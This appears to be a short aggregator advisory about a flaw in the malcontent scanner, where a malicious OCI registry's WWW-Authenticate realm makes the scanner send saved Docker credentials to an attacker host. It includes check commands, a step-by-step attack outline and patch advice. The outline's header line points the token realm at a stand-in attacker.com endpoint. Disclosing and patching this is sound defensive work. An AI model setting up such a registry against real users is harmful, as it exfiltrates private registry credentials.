Listen to this Post
The vulnerability exists in malcontent’s integration with the `google/go-containerregistry` library for pulling OCI images. By default, this library uses the host’s Docker credential helper to fetch and send registry authentication tokens. A malicious OCI registry can exploit this by responding to a pull request with a crafted `WWW-Authenticate` HTTP header. This header defines the token service (realm) endpoint. An attacker can set this realm to a URL under their control. When malcontent, via the library, follows the OAuth2 token discovery protocol to authenticate, it will automatically send the user’s saved Docker credentials (like `~/.docker/config.json` contents) to the attacker-specified endpoint instead of the legitimate registry. This allows for the silent exfiltration of sensitive pull credentials.
Platform: malcontent (chainguard-dev)
Version: >=0.10.0 <1.20.3
Vulnerability: Credential Exfiltration
Severity: Moderate
Date: Jan 29, 2026
Prediction: Patched Jan 29, 2026
What Undercode Say:
Analytics:
malcontent scan --image malicious.registry/attack/img:latest
curl -v "https://registry.example.com/v2/" 2>&1 | grep -i www-authenticate
grep -r "go-containerregistry" go.mod
How Exploit:
1. Attacker hosts a malicious registry.
- Registry returns
WWW-Authenticate: Bearer realm="https://attacker.com/token-service".
3. Victim’s malcontent fetches image from this registry.
4. Authentication library sends Docker credentials to `attacker.com`.
5. Attacker captures credentials.
Protection from this CVE:
Update to malcontent >=1.20.3.
The fix defaults to anonymous authentication for OCI pulls, preventing automatic credential sending. For required authenticated pulls, ensure you only use trusted registries. Review and harden Docker credential store configurations.
Impact:
Credential leakage to unauthorized third-party servers. Compromise of private registry access. Does not directly enable local privilege escalation or code execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

